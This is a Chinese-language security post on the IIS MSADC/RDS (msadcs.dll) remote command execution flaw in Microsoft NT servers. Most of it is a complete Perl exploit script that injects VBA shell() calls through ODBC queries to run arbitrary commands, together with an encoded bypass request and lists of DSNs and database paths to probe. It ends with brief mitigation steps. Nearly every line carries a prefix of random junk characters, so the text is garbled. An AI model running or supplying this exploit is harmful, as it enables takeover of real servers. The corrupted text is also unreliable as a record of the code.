IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
xO?~@5 uu#ALB
Jm 涉及程序:
zKiKda%) Microsoft NT server
7!MW`L/` IUu[`\b= 描述:
w:N\]=Vh 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$)7-wCl</ p(0!TCBs 详细:
7z%zXDe~T[ 如果你没有时间读详细内容的话,就删除:
yRieGf1'SD c:\Program Files\Common Files\System\Msadc\msadcs.dll
B*D`KA 有关的安全问题就没有了。
>DbG$V<v' ;Rwr5 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Z71"d" yRvq3>mU 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
OSkZW 关于利用ODBC远程漏洞的描述,请参看:
sBRw#xyS ,HMB`vF http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^vG*8,^S=8 8swj'SjX 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
|L`w4; http://www.microsoft.com/security/bulletins/MS99-025faq.asp /6 P()Upe ^8V]g1]fiG 这里不再论述。
y'4= JN3Oe5yB2@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
o"UqI PkG+`N /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
S4?ssI 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
rm"bplLZA w
#1l)+ AeUwih.
4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
FirmzB Il5 O 6A:0yM4 #!perl
2!" N9Adt #
'>`bp25> # MSADC/RDS 'usage' (aka exploit) script
pazFVzT #
y!aq}YS # by rain.forest.puppy
]Ff&zBJ #
WfO6Fvx% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
IOIGLtB
# beta test and find errors!
*AxKV5[H &1B)mj use Socket; use Getopt::Std;
]@WJ&e/'@ getopts("e:vd:h:XR", \%args);
:5"|iRP' OkFq>;{a print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
pV>/"K U<#i\4W if (!defined $args{h} && !defined $args{R}) {
DQ'+,bxk=9 print qq~
q)!{oi{x( Usage: msadc.pl -h <host> { -d <delay> -X -v }
Iqo4INGIi -h <host> = host you want to scan (ip or domain)
<ygkK5#q -d <seconds> = delay between calls, default 1 second
k87B+0QEL -X = dump Index Server path table, if available
1~5={eI -v = verbose
Qiw Zk<rb -e = external dictionary file for step 5
\h
#vL KWN&nP
+ Or a -R will resume a command session
l"ih+%S tnKzg21% ~; exit;}
0BVMLRB 5IMh$!/uc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
YHeB<v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+o_`k! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!-\*rdE{9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}-8K*A3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
XPX{c|]>. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
IlS{>6 ]vu'+F$ if (!defined $args{R}){ $ret = &has_msadc;
;%U`lE0 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
T]E$H, p 8vaqj/ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
O`Z>Oon? . "cmd /c ";
X\YeO>C $in=<STDIN>; chomp $in;
^s24f?3 $command="cmd /c " . $in ;
Iem* 'r 9prG@ if (defined $args{R}) {&load; exit;}
F /t;y\) o*dhks[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,Xb :f/lB &try_btcustmr;
rU'&o) a^ 7 H<_
wW print "\nStep 2: Trying to make our own DSN...";
oA42?I ^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8SKDL[rN w@oq.K print "\nStep 3: Trying known DSNs...";
;l?>+m@H &known_dsn;
-G*u2i_* v_G4:tY print "\nStep 4: Trying known .mdbs...";
gw5CU)r4$ &known_mdb;
S9xC> |< =#>P! if (defined $args{e}){
qLPI^g, print "\nStep 5: Trying dictionary of DSN names...";
l kl#AH &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
,cbP yg 2poU\|H print "Sorry Charley...maybe next time?\n";
_
k>j?j- exit;
/?by4v73P 1 bv L ##############################################################################
9`vse>,-hg Cf%)W:Q9 sub sendraw { # ripped and modded from whisker
L(X:=)
!K0 sleep($delay); # it's a DoS on the server! At least on mine...
=zbrXtp, my ($pstr)=@_;
X|.X4fs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/+66y=`UJ die("Socket problems\n");
BKJW\gS2 if(connect(S,pack "SnA4x8",2,80,$target)){
2U#OBvNU select(S); $|=1;
T`vj6F print $pstr; my @in=<S>;
Xv'64Nc!; select(STDOUT); close(S);
UB(8N7_/ return @in;
r4_ c~\jH } else { die("Can't connect...\n"); }}
,@>B#%Nz !X#=Pt[, ##############################################################################
U>:p`@
R4qS,2E sub make_header { # make the HTTP request
*9*I:Uh57 my $msadc=<<EOT
V:IoeQ]- POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E7j]"\~ i User-Agent: ACTIVEDATA
=>BT]WK> Host: $ip
|NM.-@1 Content-Length: $clen
}*+ca>K Connection: Keep-Alive
z{AfR2L 6:h!gY ADCClientVersion:01.06
[%bshaY: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
&Cdd AoTL)', --!ADM!ROX!YOUR!WORLD!
HK
;C*;vC% Content-Type: application/x-varg
sy]1Ba% Content-Length: $reqlen
KXR )|2g#hH5 EOT
7$b78wax ; $msadc=~s/\n/\r\n/g;
r)*KgGsk return $msadc;}
9fe~Q%x=u ,"*[T\u ##############################################################################
N!btj,vx &;C|=8eB sub make_req { # make the RDS request
m~X:KwK4 my ($switch, $p1, $p2)=@_;
WXGLo;+>I my $req=""; my $t1, $t2, $query, $dsn;
TrHBbyqk PRf2@0ZV if ($switch==1){ # this is the btcustmr.mdb query
hp[8.Z$7 $query="Select * from Customers where City=" . make_shell();
Aja'`Mu $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=k0l>) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+fKLCzj o>j3<#? elsif ($switch==2){ # this is general make table query
JqFFI:Q5a $query="create table AZZ (B int, C varchar(10))";
Z/a]oR@ $dsn="$p1";}
,wnF]K2D0 i\,#Z! elsif ($switch==3){ # this is general exploit table query
3B;B#0g50 $query="select * from AZZ where C=" . make_shell();
|ss_< $dsn="$p1";}
QvqX3FU ;i Ud3'* elsif ($switch==4){ # attempt to hork file info from index server
T#h`BtET[ $query="select path from scope()";
6h;$^3x$ $dsn="Provider=MSIDXS;";}
UG1^G07s ="Dmfy7 elsif ($switch==5){ # bad query
n {^D_S $query="select";
Fet>KacTht $dsn="$p1";}
o2Z#
5- H?O* $t1= make_unicode($query);
X;zy1ZH $t2= make_unicode($dsn);
[t ?ftS $req = "\x02\x00\x03\x00";
!9V_U $req.= "\x08\x00" . pack ("S1", length($t1));
MbjH\XRB $req.= "\x00\x00" . $t1 ;
j>P>MdZtk $req.= "\x08\x00" . pack ("S1", length($t2));
BcA:M\dK% $req.= "\x00\x00" . $t2 ;
B;_M52-B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.K:>`~<) return $req;}
et)A$'Q C;STJrew ##############################################################################
8Gs{Zfp!D ?$8OVq.w, sub make_shell { # this makes the shell() statement
{fk'g(E8([ return "'|shell(\"$command\")|'";}
p?5`+Z E+[K?W5 ##############################################################################
.}]5y4UQ. iv3NmkP1 sub make_unicode { # quick little function to convert to unicode
Qs</.PO my ($in)=@_; my $out;
lwjg57 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
u'P@3'P return $out;}
+FyG{1?< .pG_j] ##############################################################################
Hz+edMUL u9}=g%TV sub rdo_success { # checks for RDO return success (this is kludge)
oGXT,38* my (@in) = @_; my $base=content_start(@in);
s6!aGZ if($in[$base]=~/multipart\/mixed/){
r@k&1*& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
hb[K.`g return 0;}
!=eui$]
;-U:t4 ##############################################################################
+*F ;l\R FRX'"gIR0 sub make_dsn { # this makes a DSN for us
x!gu&AA<* my @drives=("c","d","e","f");
,zz+s[ZH7O print "\nMaking DSN: ";
'6[0NuB foreach $drive (@drives) {
:Q!U;33aG print "$drive: ";
>a@-OJ.yOk my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
m$0T" `AP` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'TezUBRAz . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
B!rY\ ?W $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|Y2u=B return 0 if $2 eq "404"; # not found/doesn't exist
+>37'PD if($2 eq "200") {
@k ~Xem%< foreach $line (@results) {
:\gdQG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
;h3c+7u1 } return 0;}
6YYZ S2 =d& ##############################################################################
-=2tKH`Q 0zdH 6& sub verify_exists {
~#7=gI&p@ my ($page)=@_;
+qDudGI my @results=sendraw("GET $page HTTP/1.0\n\n");
jSpmE return $results[0];}
rS8/_' H8rDG/>^ ##############################################################################
U")bvUIL E*j)gj9 sub try_btcustmr {
sDw&U?gUv my @drives=("c","d","e","f");
1kvBQ1+ my @dirs=("winnt","winnt35","winnt351","win","windows");
O-5H7Kd- d#Ql>PrY foreach $dir (@dirs) {
,7z.%g3+z print "$dir -> "; # fun status so you can see progress
bp;b;f> foreach $drive (@drives) {
PzNk: O print "$drive: "; # ditto
NKh"x&R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
E<D45C{DP $reqlenlen=length( "$reqlen" );
Pr<.ld\ $clen= 206 + $reqlenlen + $reqlen;
EL5gMs $x#Y\dpS my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7;0^r#:87# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ry r2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8v5cQ5Lc ##EMJi ##############################################################################
[f&ja[m q *Xn{{ sub odbc_error {
*oKc4S+ my (@in)=@_; my $base;
b~WiE? my $base = content_start(@in);
Ihw^g<X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Yfs60f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t1wNOoRa $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S:+SZq $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}p]8'($ return $in[$base+4].$in[$base+5].$in[$base+6];}
DO8@/W(
` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
QI.{M$,m~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
OpW4@le_r $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
OZB(4{vnyC )zf&`T ##############################################################################
3g0[(; [; sub verbose {
Zu,rf9LMj my ($in)=@_;
1#gveHm]-G return if !$verbose;
'K"V{ print STDOUT "\n$in\n";}
-1DQO|q# PsjSL8] ##############################################################################
xf_NHKZ) ncuqo'r sub save {
s["8QCd"r my ($p1, $p2, $p3, $p4)=@_;
4l <%Q2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
d
*!) wt print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@6~r7/WD close OUT;}
+Vl\lL
- :&S6AP ##############################################################################
h;u8{t" |$f.Qs~? sub load {
&"p7X>bd my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>ZTRwy`_( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
XJ^dX]4 @p=<IN>; close(IN);
?>92OuG%W? $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^7G@CBic" $target= inet_aton($ip) || die("inet_aton problems");
f!|7j}3 print "Resuming to $ip ...";
8'
M43n $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]DHB'NOh, if($p[1]==1) {
eG55[V<! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
kc
Q~}uFB $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|_xU{Pu my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
k?zw4S if (rdo_success(@results)){print "Success!\n";}
Oe:+%p else { print "failed\n"; verbose(odbc_error(@results));}}
|08b=aR6ro elsif ($p[1]==3){
1MkQ$v7m if(run_query("$p[3]")){
p6VS<L print "Success!\n";} else { print "failed\n"; }}
Zi<Y?Vm/,O elsif ($p[1]==4){
e*{'A if(run_query($drvst . "$p[3]")){
ecfw[4B` print "Success!\n"; } else { print "failed\n"; }}
G~b/!clN exit;}
KzZ|{!C HC_+7 O3A ##############################################################################
"#Qqwsw7 dT?/9JIv sub create_table {
efW< my ($in)=@_;
O10,h(O $reqlen=length( make_req(2,$in,"") ) - 28;
c5Fl:=h $reqlenlen=length( "$reqlen" );
{ }Q!./5 $clen= 206 + $reqlenlen + $reqlen;
(v+nn1, my @results=sendraw(make_header() . make_req(2,$in,""));
5 YjqN return 1 if rdo_success(@results);
%#kml{I my $temp= odbc_error(@results); verbose($temp);
%Bn"/0, return 1 if $temp=~/Table 'AZZ' already exists/;
(1Q G]1q return 0;}
Osz:23(p $o2 H#" ##############################################################################
6b`3AAGU" X`
r~cc sub known_dsn {
|>X5@ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fhp\of/@
R my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g-)izPX "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@#m@ . "banner", "banners", "ads", "ADCDemo", "ADCTest");
)nE=H,U?y vo<'7, foreach $dSn (@dsns) {
;:nx6wi print ".";
O1]L4V1iH next if (!is_access("DSN=$dSn"));
wyWe2d if(create_table("DSN=$dSn")){
/&1FgSARK print "$dSn successful\n";
moz*=a if(run_query("DSN=$dSn")){
!(2rU @. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ns
ezUk8' print "Something's borked. Use verbose next time\n";}}} print "\n";}
b`:n i
4k%y*L ##############################################################################
jMFLd G)5R
iRcs sub is_access {
Y]MB/\gj my ($in)=@_;
d7(g=JK< $reqlen=length( make_req(5,$in,"") ) - 28;
uknX py)) $reqlenlen=length( "$reqlen" );
pe%$(%@v $clen= 206 + $reqlenlen + $reqlen;
,cj531. my @results=sendraw(make_header() . make_req(5,$in,""));
eI99itDQ my $temp= odbc_error(@results);
Q1hHK'3w verbose($temp); return 1 if ($temp=~/Microsoft Access/);
iR(=<> return 0;}
:qlcN @_ tAPn? d5 ##############################################################################
wN}@%D-[v lJlyfN sub run_query {
}[2 my ($in)=@_;
%#
M=qP $reqlen=length( make_req(3,$in,"") ) - 28;
LKC^Y)6o $reqlenlen=length( "$reqlen" );
$?`-} wY $clen= 206 + $reqlenlen + $reqlen;
X"hdCY% my @results=sendraw(make_header() . make_req(3,$in,""));
=emcs% return 1 if rdo_success(@results);
' 5tk0A my $temp= odbc_error(@results); verbose($temp);
Y8l
8B> return 0;}
^UJB%l ~F; ~ ##############################################################################
ZhvZe/ bEvlk\iql sub known_mdb {
R"Ff(1m my @drives=("c","d","e","f","g");
cl,\N\ my @dirs=("winnt","winnt35","winnt351","win","windows");
+q<G%PwbV my $dir, $drive, $mdb;
;YGCsLT<xt my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^qR2 !fwm< ;-]' OiS; # this is sparse, because I don't know of many
,/%@:Fh4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
zvEofK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
cJ^{iOQ+ "\\system32\\certmdb.mdb",
HgY [Q}7s "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,ICn]Pdz@ 2?c##Izn my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
E!Ljq 3iT` "\\cfusion\\cfapps\\forums\\forums_.mdb",
@}{lp'8FYi "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
fGtYvl O-5 "\\cfusion\\cfapps\\security\\realm_.mdb",
&AUtUp
kOo "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"/ 9EUbca "\\cfusion\\database\\cfexamples.mdb",
Qvc$D{z "\\cfusion\\database\\cfsnippets.mdb",
3fBV
SFVS "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=(aA`:Nl "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
AT{rg/oSf "\\cfusion\\brighttiger\\database\\cleam.mdb",
>v?&&FhHK< "\\cfusion\\database\\smpolicy.mdb",
nXRT%[o& "\\cfusion\\database\cypress.mdb",
G>@KX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
;URvZ! {/Z "\\website\\cgi-win\\dbsample.mdb",
#S4lRVt5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
WWBm*?U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
HP,sNiw ); #these are just
IoAG !cS foreach $drive (@drives) {
#OMFv. foreach $dir (@dirs){
F9}j iCom foreach $mdb (@sysmdbs) {
I,8f{T!O@" print ".";
vw if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
w ag^Sk print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
MJ?fMR@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%$Smei print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5|<j Pc } else { print "Something's borked. Use verbose next time\n"; }}}}}
](@HPAG] 7$zeRYD+ foreach $drive (@drives) {
#Ch*a.tI@ foreach $mdb (@mdbs) {
'((pW print ".";
B=d
:r if(create_table($drv . $drive . $dir . $mdb)){
mxPzB#t4 print "\n" . $drive . $dir . $mdb . " successful\n";
KHO@"+ if(run_query($drv . $drive . $dir . $mdb)){
/XVjcD66c print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
R`HC
EX) } else { print "Something's borked. Use verbose next time\n"; }}}}
L^E#"f }
QKB*N)%6 chC= $(5t ##############################################################################
_uf,7R- Y W9+.Dc` sub hork_idx {
{9
.sW/ print "\nAttempting to dump Index Server tables...\n";
3xX^pjk print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
t@vVE{` $reqlen=length( make_req(4,"","") ) - 28;
T1*%]6&V| $reqlenlen=length( "$reqlen" );
<
M o $clen= 206 + $reqlenlen + $reqlen;
G^%FP!'D? my @results=sendraw2(make_header() . make_req(4,"",""));
0d|DIT#>? if (rdo_success(@results)){
?h|&kRq my $max=@results; my $c; my %d;
6k9cvMs%H for($c=19; $c<$max; $c++){
Hy~+|hLvh $results[$c]=~s/\x00//g;
Rt+ak} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@,^c?v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V1-URC24vd $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
jY1^I26E $d{"$1$2"}="";}
uB1>.Pvxb foreach $c (keys %d){ print "$c\n"; }
b2r]>*Vc } else {print "Index server doesn't seem to be installed.\n"; }}
|L<p90 Da3Z>/S ##############################################################################
VFI\2n` h1
npaD! sub dsn_dict {
I<+i87= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
EA``G8Vn> while(<IN>){
|MMaaW^" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;@<Rh^g] next if (!is_access("DSN=$dSn"));
rNN,! if(create_table("DSN=$dSn")){
LX8A@Yct print "$dSn successful\n";
}.k*4Vw#Wt if(run_query("DSN=$dSn")){
1@:BUE;jZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ys@OgdS@: print "Something's borked. Use verbose next time\n";}}}
Q)[DSM print "\n"; close(IN);}
qokCVI-\ Liv.i;-qE ##############################################################################
!)4'[5t"U IQ\5!e sub sendraw2 { # ripped and modded from whisker
$n=w sleep($delay); # it's a DoS on the server! At least on mine...
Y/<`C my ($pstr)=@_;
(Go1@;5I socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l.Q.G<ol die("Socket problems\n");
8= "01 if(connect(S,pack "SnA4x8",2,80,$target)){
^JMO POm print "Connected. Getting data";
7R7e3p,K open(OUT,">raw.out"); my @in;
6>NK2} ` select(S); $|=1; print $pstr;
:*I='M9B while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
q@&6&cd close(OUT); select(STDOUT); close(S); return @in;
OK" fFv } else { die("Can't connect...\n"); }}
#ZyY(S1. Zg&o][T ##############################################################################
6Z#$(oC G0Y]-*1 sub content_start { # this will take in the server headers
q|ZzGEj:OV my (@in)=@_; my $c;
V\nj7Gr:sF for ($c=1;$c<500;$c++) {
8pXqgIbmb if($in[$c] =~/^\x0d\x0a/){
>&YUV.mLY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%?X6TAtH else { return $c+1; }}}
XGb*LY+Db6 return -1;} # it should never get here actually
Ws/\lD {!&^VXZIT ##############################################################################
!~Ptnr`; z'01V8e sub funky {
q:MSV{k my (@in)=@_; my $error=odbc_error(@in);
k+@,m\tE if($error=~/ADO could not find the specified provider/){
8J)Kn4jq print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ZJ8"5RW exit;}
}eAV8LU if($error=~/A Handler is required/){
25Uw\rKeO print "\nServer has custom handler filters (they most likely are patched)\n";
ER,!`C] exit;}
Vji:,k=3\ if($error=~/specified Handler has denied Access/){
|)*9BN print "\nServer has custom handler filters (they most likely are patched)\n";
{,B.OM)J exit;}}
e<$s~ UXv ^{Fo,7 ##############################################################################
}2hU7YWt NjbIt=y sub has_msadc {
2jF}n*[OW my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
8ByNaXMO6 my $base=content_start(@results);
u<JkP <"S return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
x~QZVL=: return 0;}
2.
q\!V}yQ l4gZHMh' ########################
6~OJB! kgHZaQnD ?kULR0uL+ 解决方案:
W3gHzT?{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"&C>=
2、移除web 目录: /msadc